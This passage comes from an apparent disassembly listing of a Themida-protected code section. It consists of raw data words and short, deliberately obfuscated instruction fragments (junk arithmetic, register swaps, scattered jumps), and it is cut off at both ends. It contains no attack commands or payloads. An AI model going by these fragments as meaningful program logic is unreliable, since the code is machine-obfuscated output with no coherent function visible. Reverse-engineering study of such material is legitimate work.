772D5B00h, 0E96C5968h, 0FFFF7E4Dh dd 267868h, 24048900h, 42474FFh, 0FF32A6E9h, 79F181FFh dd 29F732B0h, 0D88959CBh, 8BC2895Bh, 0C4812404h, 4, 0E95AD029h dd 3353h, 932538B8h, 5F06BB18h, 0C3296317h, 0EBC14358h dd 35C38102h, 81678977h, 0E24F7CEBh, 0C3814341h, 0E2592746h dd 1C8BDA29h, 58CDE924h, 48FFFFFh, 5A685C24h, 0E9000017h dd 0FFFFEF68h ; --------------------------------------------------------------------------- loc_51323C: ; CODE XREF: Themida_:00504D00j pop ebx inc bh push ecx mov ch, 19h sub ch, 9 sub bh, 0E3h push eax push esp pop eax jmp loc_503AC1 ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 8704E983h, 895C240Ch, 74FF243Ch, 34FF0424h dd 81685F24h, 8900007Dh, 0E6892434h, 266468h, 0E69BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51327E: ; CODE XREF: Themida_:0050C15Ej push esi mov esi, 7CB83308h jmp loc_512776 ; --------------------------------------------------------------------------- db 68h, 93h, 2Dh dd 29E90000h, 8900000Ch, 0E8882404h, 2DD468h, 240C8900h dd 0F4E9C588h, 51FFFFE1h, 2B9h, 52B7E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5132B2: ; CODE XREF: Themida_:00512ADEj sub ecx, esi jmp loc_506680 ; --------------------------------------------------------------------------- loc_5132B9: ; CODE XREF: Themida_:005134ADj mov dh, ah not dh mov ah, dh pop dx not ah shr ah, 1 jmp loc_50F451 ; --------------------------------------------------------------------------- dw 665Ch dd 1A68F1F7h, 0E9000045h, 0FFFF6911h, 4C481h, 0F2E90000h dd 57FFFF06h, 9EE9E789h, 8300003Dh, 1C8702C3h, 66645C24h dd 0D0E90289h, 68FFFEF7h, 60D5h, 0E9241489h, 0FFFFF239h dd 0C8BE0F66h, 1C166866h, 65AE9h, 0E9D52900h, 0FFFF0FB6h dd 0EF88D588h, 88595A59h, 4156E9FAh, 0CB280000h, 6641C380h dd 80C1B652h, 0F300FBEBh, 66FBC380h, 240C8B5Ah, 81595451h dd 4C1h, 4C18100h, 87000000h, 505C240Ch, 0E97EB353h, 0FFFFBCEAh ; --------------------------------------------------------------------------- loc_51335C: ; CODE XREF: Themida_:00507C93j xchg eax, [esp] pop esp push ecx pop ebx jmp loc_506B4A ; --------------------------------------------------------------------------- db 33h dd 14312414h, 4B03E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_513372: ; CODE XREF: Themida_:0050ADBAj xor eax, ebp xor ebp, eax xor eax, ebp push 5F60h mov [esp], ebp jmp loc_50DBFD ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 242C895Ch, 0C5815D54h, 4, 4ED81h, 2C870000h, 0E21FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5133A2: ; CODE XREF: Themida_:005048A7j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp and ecx, ebx jmp loc_50F85B ; --------------------------------------------------------------------------- db 2Dh dd 9CA4CAA2h, 8DE9C221h, 29FFFF41h, 28BD2DD8h, 5E5B1421h dd 0FFD19CE9h, 4BAFFh, 2E90000h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5133D7: ; CODE XREF: Themida_:005164E5j push dword ptr [esp] pop ebp push edi jmp loc_511FCE ; --------------------------------------------------------------------------- dd offset loc_404168 align 2 dw 0CEE9h dd 1FFFF6Fh, 240C8BC8h, 4C481h, 4870000h, 24248B24h, 24048B66h dd 2D3168h, 24348900h, 2434FF54h, 4EC835Eh, 89240C89h dd 4C181E1h, 83000000h, 0CFE904C1h, 5AFFFF61h, 83240C8Bh dd 685604C4h, 434559C5h, 8324348Bh, 0F74E04C4h, 0BACEE9DEh dd 0E9D1FFFFh, 3E9AF181h, 0C6811988h, 711952A0h, 0FEFBBBE9h dd 241487FFh, 2BE565Ch, 0E9000000h, 0FFFF3FE6h, 31240C33h dd 0C33240Ch, 0C895C24h, 7B7D6824h, 3C890000h, 5E7E6824h dd 0E95F1970h, 0FFFFD82Ch, 68241C89h, 6538h, 0E9243C89h dd 0FFFFBC0Ah ; --------------------------------------------------------------------------- loc_513490: ; CODE XREF: Themida_:00503B3Dj pop ebx pop ecx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 pop ecx add ah, dl push dword ptr [esp] pop edx add esp, 4 push dx jmp loc_5132B9 ; --------------------------------------------------------------------------- dw 15Bh dd 0C68158C6h, 5FE0613Fh, 0E9241C8Bh, 69h ; --------------------------------------------------------------------------- loc_5134C4: ; CODE XREF: Themida_:005095EDj sub esi, 0E9CBD9D5h add eax, 33E5671Ch add eax, esi sub eax, 33E5671Ch pop esi xchg eax, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 mov ebx, ebp pop ebp and eax, ebx mov ebx, [esp] add esp, 4 or edx, eax jmp loc_5155BB ; --------------------------------------------------------------------------- loc_5134F4: ; CODE XREF: Themida_:0050B8A9j push dword ptr [esp] pop ecx add esp, 4 xor eax, ecx xor ecx, eax xor eax, ecx sub esp, 4 mov [esp], edx jmp loc_5125E4 ; --------------------------------------------------------------------------- loc_51350F: ; CODE XREF: Themida_:0050AD79j mov eax, 0D4A0CBEh add eax, ebx jmp loc_512C5B ; --------------------------------------------------------------------------- aMps db '¬Pé²;',0 ; DATA XREF: Themida_:00502A34o align 2 loc_513522: ; CODE XREF: Themida_:005125DFj push ecx mov ecx, 3A291B0Ah jmp loc_505E75 ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 4BA52h, 0D1010000h, 0FF1B4CE9h, 0E1C159FFh, 18E3E903h dd 0C9810000h, 2828226Ah, 0B36AE941h, 34FFFFFFh, 2434FF24h dd 0E7895758h, 4BB53h, 0DF010000h, 0FF28F8E9h, 7C4C05FFh dd 0D0F765DDh, 639D6848h, 9DE90000h, 1FFFFC9h, 660E9CAh dd 0EFC10000h, 0F7814F07h, 16BE3Ch, 9C685651h, 5E278D5Ah dd 0CE81DEF7h, 63F71E72h, 0C681D6F7h, 255E853h, 0FFE7BCE9h dd 48E952FFh db 35h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5135AF: ; CODE XREF: Themida_:00504021j push esi push 3A8Eh mov [esp], ecx jmp loc_50ACDD ; --------------------------------------------------------------------------- db 81h, 31h, 77h dd 0E93B8B0Dh, 0FFFF2211h, 2B9h, 0CCEE8100h, 111800Ch dd 80C8E9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5135DA: ; CODE XREF: Themida_:00503716j pop eax add esp, 4 jmp loc_50B3B8 ; --------------------------------------------------------------------------- loc_5135E6: ; CODE XREF: Themida_:005125F2j push 1F3Dh mov [esp], esi mov esi, esp push edx mov edx, 3ABE7562h jmp loc_511A74 ; --------------------------------------------------------------------------- db 8Bh dd 75E92404h, 5BFFFF67h, 0FF35A5E9h db 0FFh ; --------------------------------------------------------------------------- loc_513609: ; CODE XREF: Themida_:0050FE7Fj push edx push edi mov edi, 6BAB5D2Ch jmp loc_5092AA ; --------------------------------------------------------------------------- db 81h, 0CFh, 33h dd 81364A73h, 176F22F7h, 0BA525355h, 61623507h, 315AD389h dd 0FB315BDFh, 81243C8Bh, 4C4h, 26C28100h, 10EBD7Ah, 0B145E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513646: ; CODE XREF: Themida_:005079C0j push 7C04h mov [esp], edx push edx jmp loc_506CEF ; --------------------------------------------------------------------------- dd 862EF781h, 0FB298F75h, 0E9243C8Bh, 0FFFF3683h, 0FF24248Bh dd 52592434h, 3F11E9h db 0 ; --------------------------------------------------------------------------- loc_513671: ; CODE XREF: Themida_:00514627j mov edx, 0 add edx, eax push ebx mov ebx, 0 add ebx, edx mov [ebx], ecx pop ebx pop edx pop eax push dword ptr [esp] pop ecx push edi jmp loc_504A96 ; --------------------------------------------------------------------------- db 81h dd 0AA7898C3h, 81FB2955h, 0AA7898EBh, 0B885F55h, 24E9595Bh dd 81FFFEF4h, 0D9B926C7h, 8BFB3135h, 0C483243Ch, 46EF6804h dd 35E90000h db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5136BF: ; CODE XREF: Themida_:0050ACAAj add esp, 4 or eax, eax jnz loc_509FE1 push 1BCBh jmp loc_5129BA ; --------------------------------------------------------------------------- db 83h dd 40E904C4h, 0E9FFFF30h, 0FFFEF3E7h ; --------------------------------------------------------------------------- loc_5136E4: ; CODE XREF: Themida_:00510269j mov [esp], ecx jmp loc_503713 ; --------------------------------------------------------------------------- dd 245C015Fh, 0ABEDE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5136F6: ; CODE XREF: Themida_:005111E3j pop ebp pop dword ptr [esp] pop esp jmp loc_509E89 ; --------------------------------------------------------------------------- dword_513700 dd 240C8B66h, 81585450h, 4ECh, 4802E900h, 0FC280000h, 5B65C480h ; DATA XREF: Themida_:00502820o dd 5258E528h, 0DDE967B2h db 27h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513723: ; CODE XREF: Themida_:0050C56Cj push esi mov esi, esp jmp loc_514B40 ; --------------------------------------------------------------------------- db 89h dd 4BF243Ch, 50000000h, 0F73892B8h, 3188056Bh, 24054EF8h dd 16A0A9Eh, 0FB0158C3h, 83EEB81h, 875F24FAh, 95C241Ch dd 9E840FC0h, 53FFFF34h, 81E18951h, 4C1h, 4E98100h, 87000000h dd 895C240Ch, 0FEBD242Ch, 68000000h, 0ABAh, 0FFAFD7E9h dd 4C681FFh, 83000000h, 348704EEh, 34895C24h, 0BB535024h dd 6A530A6Ah, 0CB81DBF7h, 51506487h, 1C39C381h, 0E3C13657h dd 89EB8104h, 814AD072h, 9EDB7AF3h, 5BD8895Fh, 8ADD38BEh dd 5EEE8195h, 0E9269223h, 0FFFF88B0h, 8104C483h, 4C1h dd 0DF9BE900h, 55FFFFFh, 1C852632h, 0FFBC9EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5137E1: ; CODE XREF: Themida_:005114AFj pop dword ptr [esp] pop ebp push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] push dword ptr [esp] mov eax, [esp] jmp loc_50C6F9 ; --------------------------------------------------------------------------- db 83h, 4, 24h dd 0A2C0E904h, 6655FFFFh, 0E9423BBDh, 441Ah ; --------------------------------------------------------------------------- loc_51380C: ; CODE XREF: Themida_:00506482j push edx push 558069BEh pop edx push ebx mov ebx, 4B520497h jmp loc_505BE2 ; --------------------------------------------------------------------------- dw 0C89h dd 2B924h, 0CB010000h, 241C8759h, 0FF8EBDE9h, 68FFh, 3C290000h dd 0BD555F24h, 6BDD2CE5h, 1B11C581h, 0BE566843h, 46707FB4h dd 815EF501h, 9B60FEC5h, 64B9514Ch, 0C178BD44h, 0F18107E9h dd 10EC3C36h, 68h, 240C2900h, 0F5F18159h, 0E907B169h, 1EC2h dd 0C5815D54h, 4, 4ED81h, 2C870000h, 0E9E95C24h db 3 dup(0) byte_51388F db 0ACh ; DATA XREF: Themida_:005028D8o dd 2EC81h, 9AE90000h db 0EBh, 2 dup(0FFh) aMhA db '¬hµA',0 ; DATA XREF: Themida_:00502A28o dd 0A2A4E900h, 0F281FFFFh, 3AB357A8h, 8105EAC1h, 0A2463ACAh dd 4EC8156h, 89000000h, 0E5BE2434h, 8107E618h, 0DC6C28EEh dd 8BE6814Bh, 8149290Dh, 0D4FF6h, 5B9DE9A1h, 4966FFFFh dd 0C474E950h, 0EA81FFFFh, 7D132836h, 74C168h, 24348900h dd 0FF737EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5138F5: ; CODE XREF: Themida_:0050AEB3j inc edx not edx xor edx, 496E3A13h jmp loc_50AB1F ; --------------------------------------------------------------------------- loc_513903: ; CODE XREF: Themida_:00503661j push edi mov edi, 5E631B64h add edi, 0C3F51BF2h xor edx, edi pop edi xchg ebp, edx dec ebp jmp loc_50D9DB ; --------------------------------------------------------------------------- dw 14F7h dd 0EC815A24h, 4, 0F7241489h, 148B241Ch, 4C48324h, 4B97BF57h dd 0CF81797Eh, 6222098Fh, 0DC1E9h db 0 ; --------------------------------------------------------------------------- loc_513941: ; CODE XREF: Themida_:0050B4AEj pop eax jmp loc_513F83 ; --------------------------------------------------------------------------- db 1 dd 243C8BFEh, 104C483h, 0C5EE81DEh, 0FF2F3364h, 515B2434h dd 7F3E9h, 2474FF00h, 48F5E04h, 64E95C24h, 66FFFFDEh, 0E9240C89h dd 40DAh, 89240489h, 0BA5251E0h, 744C261Ch, 815AD189h dd 0FFFFFFC1h, 0B387E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513992: ; CODE XREF: Themida_:0050C4EDj add edx, 4 xchg edx, [esp] jmp loc_50BEDC ; --------------------------------------------------------------------------- db 59h, 81h, 0C4h dd 4, 31242C33h, 2C33242Ch, 7FE1E924h, 0D2F7FFFFh, 2B4FCA81h dd 0F2816313h, 750C30D3h, 0FFD345E9h, 243481FFh, 59F274ACh dd 4EC815Ah, 89000000h, 0E0892404h, 405h, 4E88300h, 0E9240487h dd 864h ; --------------------------------------------------------------------------- loc_5139E8: ; CODE XREF: Themida_:0050C661j add esp, 4 push esi jmp loc_50888C ; --------------------------------------------------------------------------- loc_5139F4: ; CODE XREF: Themida_:00511F69j add esi, 4 jmp loc_5166D6 ; --------------------------------------------------------------------------- db 5Ch dd 0E9240C89h, 3BE2h, 0BF243C89h, 4A011083h, 0F707E7C1h dd 0ADC781DFh, 815DF053h, 0F01521CFh, 9D685274h, 8B57A9F6h dd 89572414h, 4C781E7h, 83000000h, 3C8704C7h, 99AE924h dd 0D501FFFFh, 4EC815Ah, 89000000h, 2FE9242Ch db 7, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513A4F: ; CODE XREF: Themida_:0050FFE8j add eax, esi jmp loc_50B398 ; --------------------------------------------------------------------------- loc_513A56: ; CODE XREF: Themida_:0050A6DAj pop ecx push edi mov edi, esp push ecx mov ecx, 4 add edi, ecx pop ecx add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_51699B ; --------------------------------------------------------------------------- loc_513A71: ; CODE XREF: Themida_:00505220j push 1814h mov [esp], esp push 7337h jmp loc_506F1D ; --------------------------------------------------------------------------- db 4 dd 2CF000B4h, 48F7E9B4h, 8150FFFFh, 111D2434h, 8FE947CCh db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513A9B: ; CODE XREF: Themida_:00513D0Bj pop esi push ebp mov ebp, 4 jmp loc_5174EE ; --------------------------------------------------------------------------- db 88h dd 0DD2858E3h, 0C3805B66h, 83EB28DDh, 3C8904ECh, 81E78924h dd 4C7h, 0A8FAE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513AC6: ; CODE XREF: Themida_:0050D8ABj jmp loc_5178A0 ; --------------------------------------------------------------------------- db 89h dd 0E389241Ch, 0FF8866E9h, 57E689FFh, 0B54AEEBFh, 0C9F78112h dd 0C1770362h, 0E95006E7h, 0FFFFABF6h, 142EE94Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_513AF2: ; CODE XREF: Themida_:0050D754j xor ebp, edi xor edi, ebp sub edi, 1 push 763Ah mov [esp], ecx mov ecx, 0E3E7D26Dh sub edi, 413E11CFh jmp loc_505C06 ; --------------------------------------------------------------------------- db 50h, 54h, 58h dd 405h, 67696800h, 2C890000h, 4BD24h, 0E8010000h, 4EC815Dh dd 89000000h, 0F8E92404h, 8BFFFF4Eh, 89522434h, 98ABE9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513B42: ; CODE XREF: Themida_:0050D972j sub edi, 262C3156h add ebp, edi jmp loc_504D05 ; --------------------------------------------------------------------------- db 0B9h dd 4, 8359CF01h, 0E95102C7h, 0FFFFF6F0h, 0A6BD555Bh, 0F700CF49h dd 45D5F7D5h, 0ED81D5F7h, 0AF9D5D61h, 0FFCE84E9h, 2474FFFFh dd 48F5B04h, 24248B24h, 582434FFh, 8904EC83h, 0E389241Ch dd 4C381h, 0EC830000h, 0E79E904h, 89660000h, 0F66240Ch dd 5166C8B6h, 0EF1DE99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_513BAE: ; CODE XREF: Themida_:0050960Dj pop esi jmp loc_50FAD2 ; --------------------------------------------------------------------------- dd 0C5814D5Ah, 39AB2E73h, 9A6BF581h, 0C281B5A2h, 474E244Dh dd 0EA81EA01h, 474E244Dh, 3360685Dh, 14890000h, 2474FF24h dd 7C38E904h, 0EA81FFFFh, 52B024C8h, 1D6E959h, 0E2300000h dd 2D1AE958h, 0D8000000h, 96E99B04h, 56FFFF60h, 0FF172DE9h dd 3FE95BFFh, 8900002Dh, 15B9240Ch, 52169C35h, 0FF2EA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_513C19: ; CODE XREF: Themida_:00513FB1j mov esp, [esp] and eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 push esi push 4E0Dh mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_504EB7 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 29h dd 68FFFF0Ch, 42E8h, 0FF3896E9h, 1F9B68FFh, 0C890000h dd 0F395E924h, 0CE88FFFFh, 83240C8Bh, 535B04C4h, 0DD88F388h dd 24148B5Bh, 4C481h, 59680000h, 89000041h, 0EA882414h dd 0FFE991E9h db 0FFh ; --------------------------------------------------------------------------- loc_513C99: ; CODE XREF: Themida_:00507BBBj push 1FA5h jmp loc_509DAA ; --------------------------------------------------------------------------- db 50h dd 0B8h, 89E82900h, 0ED8158C5h, 56EB0DE4h, 4EC834Dh, 0BF243C89h dd 0 dd 0FD87EF29h, 0D5C5815Fh, 8362AAF6h, 3C8904ECh, 7359BF24h dd 0FB013CB9h, 81EB295Fh, 0B97359EBh, 0DBE5E93Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513CE6: ; CODE XREF: Themida_:0050DAEDj xchg edx, ebp xchg ebp, [esp] push dword ptr [esp] mov edi, [esp] jmp loc_503BC1 ; --------------------------------------------------------------------------- dw 0C281h dd 0BBC4B6Bh, 0FF53E952h, 525BFFFFh, 0FF9656E9h db 0FFh ; --------------------------------------------------------------------------- loc_513D09: ; CODE XREF: Themida_:00514466j add eax, esi jmp loc_513A9B ; --------------------------------------------------------------------------- dd 2404875Fh, 22C9E9h, 2EC8300h, 24048966h, 223433B0h dd 0C0FED804h, 0D0F62704h, 0A4E95366h, 89FFFF7Fh, 9BBB241Ch dd 43430A21h, 0DCBD5557h, 450FE457h, 23A9C581h, 0E9553791h dd 0FFFF0938h, 63E9C801h, 52FFFFAAh, 0EC835A54h, 243C8904h dd 6B7E8568h, 243C8B51h, 4C481h, 0E9520000h, 0FFFFBDBBh ; --------------------------------------------------------------------------- loc_513D74: ; CODE XREF: Themida_:0051622Fj sub eax, edi pop edi shr eax, 4 xor eax, 0A55A0D67h jmp loc_50DA38 ; --------------------------------------------------------------------------- loc_513D84: ; CODE XREF: Themida_:0050EB30j ; Themida_:00516FA4j push 2383h mov [esp], ebx push edi mov edi, 67B80E75h sub dword ptr [esp+4], 586B467Eh jmp loc_50924B ; --------------------------------------------------------------------------- loc_513D9F: ; CODE XREF: Themida_:00514FD2j push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 push 288Bh mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], eax jmp loc_510264 ; --------------------------------------------------------------------------- dd 0A228E94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513DCA: ; CODE XREF: Themida_:00512AC8j add esp, 4 jmp loc_506054 ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 0FA4012BEh, 0A1B85000h, 0E95D8765h, 480h dword_513DE8 dd 4EC81ADh, 89000000h, 65BB241Ch, 5765D160h, 3B4980BFh ; DATA XREF: Themida_:005028F0o dd 0B8C78105h, 0C169B221h, 0F78104EFh, 33692D5Ah, 0FF393BE9h dd 0F8015BFFh, 1157A905h, 0C0835F78h, 24043304h, 33240431h dd 0FF5C2404h, 48B2434h, 5F545724h, 4C781h, 0C7830000h dd 243C8704h, 0A268525Ch, 89000024h, 4812424h, 424h, 24148B00h dd 0FF97DBE9h, 44E95EFFh, 0B8FFFF8Dh, 4, 6858C101h, 570Eh dd 0BD242C89h, 4, 70E9E901h db 0FAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_513E77: ; CODE XREF: Themida_:0050A6CFj xchg ebx, [esp] pop esp jmp loc_50674C ; --------------------------------------------------------------------------- dd 1A6DCFBBh, 9FC38172h, 81596D1Eh, 9872CEC3h, 4EBA5235h dd 31071C75h, 0C3815AD3h, 4B9F2C03h, 2BA5E381h, 0F3816A4Ah dd 40022221h, 835BD901h, 0FF5104C1h, 0E9042474h, 0FFFF4CC6h dd 81242489h, 42404h, 685D0000h, 25ABh, 0B8240489h, 4 dd 12A4ED81h, 0C5011621h, 12A4C581h, 34FF1621h, 0C4815824h dd 4, 4B951h, 0ED810000h, 4F830BFEh, 0FF4FF9E9h, 4C481FFh dd 0D1000000h, 3D06E9EDh, 0C3010000h, 0FFF6EAE9h, 242489FFh dd 4BE56h, 4DE90000h, 8BFFFFC5h, 0C4812414h, 4, 8959C889h dd 2434FFC2h, 0FF27B9E9h, 0BDC380FFh, 0FEC7E380h, 30ABE9CBh dd 159FFFFh, 0F6C281DAh, 0E96D4166h, 1B3Ch, 6A7DE181h dd 0C1816F27h, 59E479C5h, 52B1BD55h, 0E9096036h, 0AFE9815Dh dd 0E97DFEF2h, 0FFFF89D8h, 0F2B65253h, 884CF680h, 0EB805AF3h dd 33E95191h db 0Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513F83: ; CODE XREF: Themida_:00513942j pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ecx jmp loc_508527 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 0FFFF44D9h, 8159CD01h, 4ECh, 3EBFE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513FAE: ; CODE XREF: Themida_:0050FD10j xchg esi, [esp] jmp loc_513C19 ; --------------------------------------------------------------------------- dw 10E9h dd 83FFFEEBh, 51E904C4h, 56FFFFBAh, 24E9E689h db 3Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513FCB: ; CODE XREF: Themida_:0050AF2Cj xchg ebx, [esp] pop esp mov [esp], edx push esp pop edx sub esp, 4 mov [esp], ebx jmp loc_510BB2 ; --------------------------------------------------------------------------- dw 0E8C1h dd 1FAC3503h, 0B9514C2Ch, 3B96393Eh, 8102E1C1h, 0BD7650C1h dd 3571E961h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513FFE: ; CODE XREF: Themida_:00514F93j push ebp jmp loc_50DCE0 ; --------------------------------------------------------------------------- dd 451EC181h, 1586959h, 0C38159CBh, 118F3AD6h, 0FF3147E9h dd 246C81FFh, 6451F004h, 1C9BE938h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514026: ; CODE XREF: Themida_:00505D13j push 5F475444h pop esi add esi, 0A81B1216h jmp loc_50A032 ; --------------------------------------------------------------------------- loc_514037: ; CODE XREF: Themida_:0051267Cj push dword ptr [esp] pop ecx jmp loc_50E85E ; --------------------------------------------------------------------------- dd 5181C680h, 0ED8012B5h, 0DC06E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51404E: ; CODE XREF: Themida_:00505B82j pop edi jmp loc_5140B8 ; --------------------------------------------------------------------------- dd 0EC52C181h, 0CF29F503h, 83240C8Bh, 0FB8904C4h, 83243C8Bh dd 0DF0104C4h, 537E9h db 0 aMhso db '¬háO',0 ; DATA XREF: Themida_:005029C0o dw 8900h dd 0F7B3241Ch, 86FDF380h, 86D4F6E3h, 3192E9E3h, 0C4810000h dd 4, 81E38953h, 4C3h, 0E9DFE900h, 815AFFFFh, 0D158D0C2h dd 242C8B66h, 4C481h, 0D7010000h, 0E924148Bh, 198Ah ; --------------------------------------------------------------------------- loc_5140B8: ; CODE XREF: Themida_:0051404Fj sub edi, 19A4799Eh jmp loc_51506A ; --------------------------------------------------------------------------- db 0F7h dd 0A0BF57DDh, 297F2809h, 3AE95FFDh db 0, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5140D3: ; CODE XREF: Themida_:005073D6j sub ecx, 557300B4h jmp loc_5042B8 ; --------------------------------------------------------------------------- dw 0E95Eh dd 0FFFF065Ch, 0A9DAE952h, 487FFFFh, 0D6685C24h, 8900006Bh dd 0F168240Ch, 89000021h, 0DCBA2414h, 0C146E251h, 0E95102EAh dd 0FFFF6598h, 81242C8Bh, 4C4h, 4DD5F700h, 2C80E581h, 0E581065Dh dd 2589788Ah, 69EBE581h, 0BE5663CFh, 639B6A4Ah, 0D6F7E6D1h dd 8106EEC1h, 266336C6h, 0E9E6D121h, 0FFFFED7Dh, 817B9FBEh dd 48D5E925h, 0E951FFFFh, 0FFFFEF56h, 0BF57E189h, 49380DD5h dd 0ABE7814Fh, 817A4637h, 0FFFA84C7h, 6823E9B7h, 0F7B9FFFFh dd 31742B2Fh, 0D8F759C8h, 0F2BF5740h, 57646B27h, 9C579EBFh dd 2943E96Eh db 2 dup(0FFh) word_51418A dw 8F66h ; DATA XREF: Themida_:005028D0o dd 0E939E902h, 5A5EFFFEh, 36A9F281h, 348B636Dh, 4EC8124h dd 89000000h, 2DE92434h db 47h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5141AB: ; CODE XREF: Themida_:0051312Cj push ecx jmp loc_5075A6 ; --------------------------------------------------------------------------- db 0F6h, 0D2h, 80h dd 8850B1C2h, 58E588D4h, 2883B05Ah, 0BCF7E9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5141C6: ; CODE XREF: Themida_:00514876j mov [esp], ebx mov bl, 57h jmp loc_50D7FA ; --------------------------------------------------------------------------- dd 42474FFh, 5024048Bh, 7EE9E089h, 5FFFF4Ah, 4, 8704C083h dd 55C2404h, 5C382054h, 542DD801h, 5B5C3820h, 8956D829h dd 4C681E6h, 83000000h, 348704EEh, 46E95C24h, 0BAFFFF0Fh dd 281D3298h, 682BE6BDh, 5AD53136h, 0FFC666E9h db 0FFh ; --------------------------------------------------------------------------- loc_514221: ; CODE XREF: Themida_:0050E981j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_50BDBD ; --------------------------------------------------------------------------- db 8Bh dd 9FE9243Ch, 81FFFF69h, 12239EF6h, 0E9F5898Eh, 0FFFF184Dh dd 2434895Ch, 0FF2A68E9h db 0FFh ; --------------------------------------------------------------------------- loc_514255: ; CODE XREF: Themida_:00507F09j push esi mov esi, 79774A02h mov ebx, 8688B602h add ebx, esi pop esi jmp loc_50E539 ; --------------------------------------------------------------------------- dd 0C244429h, 221EE958h db 2 dup(0FFh) word_514272 dw 6866h ; DATA XREF: Themida_:005028A4o dd 0ADE922B3h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51427B: ; CODE XREF: Themida_:0050DDE8j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 0B75h mov [esp], ebx push 174Dh mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 push edi mov edi, 716013ECh xor edi, 1392110Fh push ebx jmp loc_51745B ; --------------------------------------------------------------------------- a_Ksi db '¹=_ØKé‰ ',0 dw 8300h dd 206804C4h, 8900001Fh, 0EC812404h, 4, 68241C89h, 1828h dd 50240C89h, 1F0FE9h, 0A5ABF00h, 0C781437Bh, 6C25E955h dd 895FFA29h, 5B3FE9D1h, 0C781FFFFh, 0BD53D11Bh, 0D7DFD2Dh dd 5F82928h, 280D7DFDh, 83243C8Bh, 0F00104C4h, 0FA581B05h dd 24348B73h, 0FFBA04E9h db 0FFh ; --------------------------------------------------------------------------- loc_514321: ; CODE XREF: Themida_:005164D9j mov ebx, 1FDB7F30h shr ebx, 6 sub ebx, 8F411238h mov eax, ebx pop ebx shl eax, 7 shl eax, 2 not eax xor eax, 0C7BA14B5h sub edx, eax pop eax push eax mov eax, 52FC69C9h and eax, 2A800679h sub eax, 99509E5h or eax, 4BD04AE1h shr eax, 1 sub eax, 2B896AADh add edx, eax jmp loc_50A16F ; --------------------------------------------------------------------------- loc_514365: ; CODE XREF: Themida_:00508D28j push edi mov edi, 577C7008h inc edi jmp loc_50B77A ; --------------------------------------------------------------------------- aYsw db 'YéW+',0 dw 8B00h dd 0C483243Ch, 14B85004h, 252DA514h, 6047CB7h, 8904EC83h dd 47BB241Ch, 0E92FA80Bh, 0FFFF7B12h, 0F281DAF7h, 65180591h dd 223EE957h, 1C8BFFFFh, 4C48324h, 5B196866h, 24148966h dd 386D68h, 240C8900h, 0C3B75366h, 0FFCC0BE9h, 241C87FFh dd 9B35E95Ch, 0FF59FFFFh, 148B2434h, 4C48324h, 19BEE9h db 0 ; --------------------------------------------------------------------------- loc_5143DD: ; CODE XREF: Themida_:0050CE5Dj sub eax, 1D2D4B47h sub eax, 67CA690Eh sub eax, 56DD3279h add eax, esi jmp loc_512AB6 ; --------------------------------------------------------------------------- aH? db ')ß[h?<',0 dw 8900h dd 0E0BE2434h, 8165704Eh, 875A03F6h, 6EEC123h, 22D0E9h dd 62CE6800h, 4890000h, 5C4E6824h, 8F540000h, 0BF572404h dd 4, 4244481h, 386451F0h, 4247C01h, 0FFFBE0E9h, 4C181FFh dd 81000000h, 4C1h, 240C8700h, 51C7FE5Ch, 0D1F6CCB1h, 0E0F180h dd 0AADDE9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51445A: ; CODE XREF: 